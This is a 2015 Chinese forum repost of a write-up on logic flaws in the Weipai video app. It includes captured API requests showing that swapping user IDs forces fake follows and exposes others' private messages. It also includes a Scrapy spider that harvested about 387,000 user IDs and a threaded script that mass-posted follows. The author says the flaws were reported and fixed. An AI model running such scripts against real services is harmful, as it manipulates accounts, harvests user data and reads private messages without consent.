首页
社区
课程
招聘
微拍APP漏洞 - 屌丝的从无到有
发表于: 2015-3-3 17:21 6024

微拍APP漏洞 - 屌丝的从无到有

2015-3-3 17:21
6024
转载自Evilsay的微信公众号:
http://mp.weixin.qq.com/s?__biz=MzA3NDMwODAyNg==&mid=203533019&idx=1&sn=e7a5a19fd47c3af920b78517c328a891&3rd=MzA3MDU4NTYzMw==&scene=6#rd

微拍中有着大量“白富美”每日发表自拍视频,用户量一度上升到几百万,作为新用户如何才能得到宠幸?

漏洞细节

在手机上安装好APP后马上就能看到各种类型的视频,当然这并不是重点。之后打开手机网络代理,电脑监听APP流量,在尝试了一些常见的漏洞后并没有太大的进展,于是转身跑到逻辑漏洞的身边。

其中 关注用户 点击后,会POST一个这样的请求:
POST /follow_user HTTP/1.1
Content-Length: 82
Content-Type: application/x-www-form-urlencoded
Host: w1.weipai.cn
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (weipaipro)
Accept-Encoding: gzip
Phone-Type: android_2013022_4.2.1
os: android
Channel: (
App-Name: weipai
Api-Version: 8
Client-Version: 0.99.9.2
Device-Uuid: 9609b1be908****e9beb5442166c7bdfd1ad2e22
Weipai-Token: 54ba****7373c
Weipai-UserId: 54ba1650a5640b57078b****
Phone-Number:
Push-Id: com.weipai.weipaipro
Kernel-Version: 15
Com-Id: weipai

to_user_id=54ba1650a5640b57078b****&from_user_id=53c299e79d67d962598b****&type=add


其中 to_user_id 为我的帐号user_id,from_user_id 为关注用户的user_id,这里将两者进行交换即可完成对方关注指定用户的功能,也就是第一个逻辑漏洞。

除此之外,在这个APP中有着非常核心的功能:搭讪,哦不 是对话功能。

APP会每隔几分钟向服务器发送请求来及时更新对话消息:

GET /pm/new?count=20&weipai_userid=54ba1650a5640b57078b**** HTTP/1.1
Host: pm.weipai.cn
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (weipaipro)
Accept-Encoding: gzip
Phone-Type: android_2013022_4.2.1
os: android
Channel: (‚
App-Name: weipai
Api-Version: 8
Client-Version: 0.99.9.2


我们将这个GET请求中的weipai_userid替换为某个用户id,即可查看对方的搭讪记录。哦不!是对话记录。


2. 爬虫配合

无论是第一个“刷粉漏洞”还是后面的“任意消息查看漏洞”,都有一个前提,那就是获取目标用户的 weipai_userid ,不然【刷】和【任意】都是空谈,JUST DO IT :)

我们找到了这个API,他是一个GET请求并提供用户的粉丝列表:

http://w1.weipai.cn/user_fans_list?count=20&relative=after&uid=50f8ff597f3494a70200****
    


爬虫我们使用Scrapy来编写,将随机一个 user_id 作为种子源依次往下爬取数据:
#!/usr/bin/env python
# coding=utf-8
# author=f

import scrapy
import json

from weipai.items import WeipaiItem

class weipai_spider(scrapy.Spider):
    allowd_domains = ["http://w1.weipai.cn/"]
    start_urls = ["http://w1.weipai.cn/user_fans_list?count=1000&relative=after&uid=50f8ff597f3494a702000066"]

    uid_list = []
    def parse(self, response):
        item = WeipaiItem()
        all_data = json.loads(response.body)
        for id in all_data['user_list']:
            try:
                if id['user_id'] not in self.uid_list:
                    self.uid_list.append(id['user_id'])
                    item['user_id'] = id['user_id']
                    item['url'] = "http://w1.weipai.cn/user_fans_list?count=1000&relative=after&uid=%s"%id['user_id']
                    yield item
                    yield self.make_requests_from_url(item['url'])
            except Exception,e:
                pass

                    
吃完晚饭回来,已经爬取了400,000个 user_id :

    $ weipai  wc weipai_spider_user_id.json
    387451  387451 8186275 weipai_spider_user_id.json

40w的傀儡用户已经够了(白富美与屌丝共存的user_id_list),准备屌丝逆袭。

3. 漏洞利用

拥有漏洞与傀儡以后,我们开始走逆袭的第一步,先将粉丝数量刷到顶峰,这里我们需要一个脚本:

#!/usr/bin/env python
# coding=utf8
# author=evi1m0@2015

import requests
import threadpool as tp

f_user = open('./weipai.txt', 'r')
post_url = 'http://w1.weipai.cn/follow_user'

def start(test):
    flag = 0
    for user in f_user.readlines():
        post_data = {
                     'to_user_id':'54ba1650a5640b57078b****',
                     'from_user_id': user[:-1],
                     'type': 'add',}
        try:
            req = requests.post(post_url, data=post_data, timeout=5)
            flag += 1
            print '[+] %d : %s' % (flag, req.text)
        except:
            continue

args = [
    ['http://xxx.com', 'test'],
]
pool = tp.ThreadPool(200)
reqs = tp.makeRequests(start, args)
[pool.putRequest(req) for req in reqs]
pool.wait()






非常轻松的,这个刷粉脚本就完成并RUN了起来,但经过观察后发现速度并不理想,于是我把这个脚本放置到了香港及国外的几台服务器上,然后将user_id列表进行几份切割,便睡了过去。

很快的一觉醒来,梦里并没有美女野兽,登录服务器把脚本纷纷停止,把在一旁不停震动的安卓手机拿起,这时才发现已经收到上百条搭讪,当然粉丝数量也已经到了155,835。

4. 逆袭

在顶着“大V”的压力下,我打开搭讪框。哦不!是对话窗口。这时你就会发现,无论是女神屌丝亦或是锥子脸饼子脸,他/她们都在寻找你,小到卖鞋,大到yue否。

既然初衷仅仅是为了JUST DO IT,马上我们将漏洞细节发给了微拍公司,并得到了第一时间修复。

管他女神锥子脸,卖鞋还卖包。伪黑客按下回车合上电脑,删除了这个帐号的一切数据,一切都没发生过。

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 37
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
多谢分享
2015-3-5 14:51
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
多谢楼主分享
2015-3-13 17:40
0
雪    币: 40
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
这篇文章很有教育意义!谢谢LZ大大的分享!
2015-3-14 11:34
0
游客
登录 | 注册 方可回帖
返回
//